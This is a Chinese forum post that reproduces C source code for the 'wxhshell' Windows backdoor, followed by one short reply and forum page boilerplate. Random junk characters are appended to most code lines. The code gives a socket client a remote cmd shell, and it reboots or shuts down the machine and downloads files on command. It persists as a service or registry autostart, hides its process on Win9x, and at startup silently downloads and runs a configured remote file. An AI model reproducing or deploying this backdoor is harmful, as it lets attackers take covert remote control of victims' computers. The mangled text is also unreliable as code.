  // 下载文件 E}t-N  
  if(strstr(cmd,"http://")) { OoSa95#x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *5^ze+:  
  if(DownloadFile(cmd,wsh)) TD%WJ9K\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fos1WH?\  
  else *%nX#mwz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @YsL*zw  
  } [-QK$~[ g  
  else { m8p4U-*j  
h|)2'07  
    switch(cmd[0]) { (KZUvsSk  
  )2/b$i,JKk  
  // 帮助 %$^$'6\77  
  case '?': { >[hrJn[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g*^wF?t'T  
    break; pc^E'h:  
  } ga,A'Z  
  // 安装 #i6[4X?  
  case 'i': { R+C+$?4NG  
    if(Install()) %uF:)   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ayHn_  
    else *SWv*sD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;>sq_4_  
    break; []!tT-Gzy  
    } cz$c)It  
  // 卸载 jjNxatAN  
  case 'r': { H9/XW6W,"w  
    if(Uninstall()) EccFx7h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g}^4^88=a  
    else m79m{!q$-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|tA[klh  
    break; /]P%b K6B  
    } 3KbUHSx  
  // 显示 wxhshell 所在路径 ~rp.jd 0l  
  case 'p': { 'w :tq  
    char svExeFile[MAX_PATH]; hl=oiUf[s  
    strcpy(svExeFile,"\n\r"); WReYF+Uen  
      strcat(svExeFile,ExeFile); 65 NWX8f}  
        send(wsh,svExeFile,strlen(svExeFile),0); J*/$ywI  
    break; Ti /;|lP@  
    } ,80jMs  
  // 重启 3J23q  
  case 'b': { 34HFrMi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X}kVBT1w+x  
    if(Boot(REBOOT)) s#M? tyhj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uHTKo(NG  
    else { `Nc`xO?  
    closesocket(wsh); 9*"[pt+tA  
    ExitThread(0); W5 M ]  
    } XT\Td}>  
    break; 'cWlY3%t  
    } Z{Lmd`<w`j  
  // 关机 ~]jx+6k]  
  case 'd': { N.ItyV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EG8%~k+R  
    if(Boot(SHUTDOWN)) Fa Qu$q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ytuWT,u  
    else { i G?w;  
    closesocket(wsh); q_OY sg  
    ExitThread(0); 2X qPZ]2g  
    } 17?NR\Q  
    break; 7] R6  
    } 1==P.d(  
  // 获取shell bgkbwE  
  case 's': { yL^M~lws  
    CmdShell(wsh); mg/C Ux  
    closesocket(wsh); \k2C 5f  
    ExitThread(0); WoC\a^V  
    break; 1)nM#@%](h  
  } &6=TtTp"9  
  // 退出 Q%_!xQP`  
  case 'x': { E,"b*l.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :..E:HdYO  
    CloseIt(wsh); ljaAB+  
    break; UtHmM,*I  
    } AIIBd  
  // 离开 "H/2r]?GT  
  case 'q': { D~[ N_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w yuJSB  
    closesocket(wsh); Iqe=#hUFe!  
    WSACleanup(); 0jl:Yzo&\  
    exit(1); RBMMXJj  
    break; -;W\f<q]  
        } G~Q*:m  
  } 8Iqk%n~(  
  } w>1l@%U o  
VyBJIzs0  
  // 提示信息 t6! p\Y}}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R(n0!h4  
} ;@=@N9q K  
  } |1\dCE03}  
+ 3~Gc<OO  
  return; giA~+m~fN  
} Z`0r]V`Ys  
3\+[38 _  
// shell模块句柄 VdjU2d  
int CmdShell(SOCKET sock) Cz$H k;3\6  
{ jSOa   
STARTUPINFO si; q_%w l5\F  
ZeroMemory(&si,sizeof(si)); Y'+F0IZ+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |yId6v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * 7zN  
PROCESS_INFORMATION ProcessInfo; 8Pnqmjjj  
char cmdline[]="cmd"; tOlzOBzR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y;%R/OyWY  
  return 0; Y`[HjS,  
} l72i e  
hCOy\[2$  
// 自身启动模式  5Fl  
int StartFromService(void) H8=vQy  
{ /(WX!EEsB  
typedef struct }AeE|RNc  
{ Npg5Z%+y  
  DWORD ExitStatus; 0N} wD-  
  DWORD PebBaseAddress; ;{F;e)${M  
  DWORD AffinityMask; o#KPrW`XJ/  
  DWORD BasePriority; 8m1 3M5r  
  ULONG UniqueProcessId; l yLK$B?/  
  ULONG InheritedFromUniqueProcessId; s K$Sar  
}   PROCESS_BASIC_INFORMATION; D3ZT''  
iX9[Q0g=oQ  
PROCNTQSIP NtQueryInformationProcess; "cz]bCr8  
^0BF2&Zx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jT wM<?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L;(3u'  
<|>:UGAR  
  HANDLE             hProcess; '8kL1  
  PROCESS_BASIC_INFORMATION pbi; aS1P]&  
>x_:=%Wr+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  +lf@O&w  
  if(NULL == hInst ) return 0; wTgx(LtH  
Vms7 Jay  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a\HtxR8L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y;I(6`,Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O}\"$n>  
&&QDEDszp  
  if (!NtQueryInformationProcess) return 0; hnfrnYH  
QeOt; {_|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S92 !jp/  
  if(!hProcess) return 0; MM58w3Mz  
#VMBn}   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N%M>,wT  
BzG!Rg|J  
  CloseHandle(hProcess); `- uZv  
(^@;`8Dy8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uBL~AC3>O  
if(hProcess==NULL) return 0; xr7<(:d  
:O @,Z_"  
HMODULE hMod; X:} 5L> '  
char procName[255]; 9Av- ;!]  
unsigned long cbNeeded; ~?8 x0  
4 *2>R8SX~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TQxc?o  
/\Y%DpG$  
  CloseHandle(hProcess); ~ @"Qm;} "  
gCBZA;/  
if(strstr(procName,"services")) return 1; // 以服务启动 Uc%`? +Q  
}?ac<> u&  
  return 0; // 注册表启动 =*)O80oaW  
} P A+e= %  
HDXjH|of  
// 主模块 gV.Pg[[1  
int StartWxhshell(LPSTR lpCmdLine) 4>ce,*B1  
{ b<8J;u<  
  SOCKET wsl; '/"M02a  
BOOL val=TRUE; Qre&N _  
  int port=0; tZ{q\+h  
  struct sockaddr_in door; |(8Hk@\CT>  
)bN3-_  
  if(wscfg.ws_autoins) Install(); cd%g]T)#1  
5t1DB'K9$_  
port=atoi(lpCmdLine); 5<GRi "7A@  
gS o(PW)  
if(port<=0) port=wscfg.ws_port; I`}vdX)  
EA{*%9 A  
  WSADATA data; $A!h=]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v(nQd6;T  
"OAZ<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kviSQM2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x[uXD  
  door.sin_family = AF_INET; LkbvA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C5n=2luI_  
  door.sin_port = htons(port); kAF}*&Kzd~  
)cmLo0`$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kp>Z/kt  
closesocket(wsl); 36Y[7 m=  
return 1; OU3+SYM  
} O?J:+L(  
qA\kx#v]P  
  if(listen(wsl,2) == INVALID_SOCKET) { q>oH(A  
closesocket(wsl); u#k6v\/  
return 1; xr-`i  
} _CwQ}n*  
  Wxhshell(wsl); %+W >+xRb  
  WSACleanup(); /F9lW}pd  
7wEG<,D  
return 0; D\&y(=fzf  
R3!vS+5rR  
} X|B;>q  
< 3+&DV-<N  
// 以NT服务方式启动 h}<ZZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5Cyjq0+  
{ t4c#' y  
DWORD   status = 0; imq(3?  
  DWORD   specificError = 0xfffffff; 2}C>{*}yQ  
J0W).mD_H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TK?+O}v-]!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !OVEA^6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kxf=%<l  
  serviceStatus.dwWin32ExitCode     = 0; x{o5Ha{  
  serviceStatus.dwServiceSpecificExitCode = 0; [jn;| 3  
  serviceStatus.dwCheckPoint       = 0; BiCa "  
  serviceStatus.dwWaitHint       = 0; Sg~A'dG  
zi[M{bm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M{RZ-)IC  
  if (hServiceStatusHandle==0) return; ? Z fhz   
q;~>h  
status = GetLastError(); +( (31l  
  if (status!=NO_ERROR) Yf`.Cq_:  
{ 1>{-wL4rc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c^gIK1f-  
    serviceStatus.dwCheckPoint       = 0; 'n#S6.Y:  
    serviceStatus.dwWaitHint       = 0; 5VoiDM=\c  
    serviceStatus.dwWin32ExitCode     = status; % x;!s=U  
    serviceStatus.dwServiceSpecificExitCode = specificError;  Hu2g (!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U+M?<4J) "  
    return; cyeDZ)  
  } 0\^2HjsJ  
fzG1<Gem  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !T(Omve)  
  serviceStatus.dwCheckPoint       = 0; RYaof W  
  serviceStatus.dwWaitHint       = 0; ]7 mSM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~,-O  
} ^#nWgo7{7  
)#Bfd(F  
// 处理NT服务事件,比如:启动、停止 }@6 %yR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LbknSy C  
{ 2/N*Uk 0  
switch(fdwControl) / {~h?P}  
{ lc#zS_  
case SERVICE_CONTROL_STOP:  P;/wb /  
  serviceStatus.dwWin32ExitCode = 0; %-|q3 ^s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DN0b.*[`3  
  serviceStatus.dwCheckPoint   = 0; Sylsp%A  
  serviceStatus.dwWaitHint     = 0; 6+#cyKj  
  { ' uw&f;/E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;CBdp-BUj  
  } `I{Q,HQ7  
  return; ^C| 9K>M  
case SERVICE_CONTROL_PAUSE: _oVA0@#n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?{")Wt  
  break; =@  
case SERVICE_CONTROL_CONTINUE: T^G<)IX`c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N\&;R$[9:  
  break; ,^C;1ph  
case SERVICE_CONTROL_INTERROGATE: xhS/X3<th  
  break; ENjD~S  
}; zD-8#H35X"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PaJwM%s)L  
} $O!<Zz   
qEz'l'%(  
// 标准应用程序主函数 P9wDTZ :4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nQmYeM  
{ 83*k.]S`  
^uzVz1%mM  
// 获取操作系统版本 1`\kXaG  
OsIsNt=GetOsVer(); Mp=+*I[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RtL'fd  
_3[BS9  
  // 从命令行安装 6s2g+[  
  if(strpbrk(lpCmdLine,"iI")) Install(); #ySx$WT;  
$c47cJO)W  
  // 下载执行文件 Or>[_3  
if(wscfg.ws_downexe) { zxdO3I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jl ?Q}SB  
  WinExec(wscfg.ws_filenam,SW_HIDE); KL`>mJo$  
} v}D!  
hDsORh!i  
if(!OsIsNt) { V1;-5L75  
// 如果时win9x,隐藏进程并且设置为注册表启动 2jC\yY |PN  
HideProc(); WE]^w3n9  
StartWxhshell(lpCmdLine); yG4MqR)J  
} JqZ5DjI:  
else "Fiv ]^  
  if(StartFromService()) [L^#<@S  
  // 以服务方式启动 k({8C`&tK/  
  StartServiceCtrlDispatcher(DispatchTable); ,cEcMaJ  
else UkV] F]  
  // 普通方式启动 `<d>C}9  
  StartWxhshell(lpCmdLine); hBu =40K  
@eWx4bl  
return 0; s'I$yJ)@2E  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八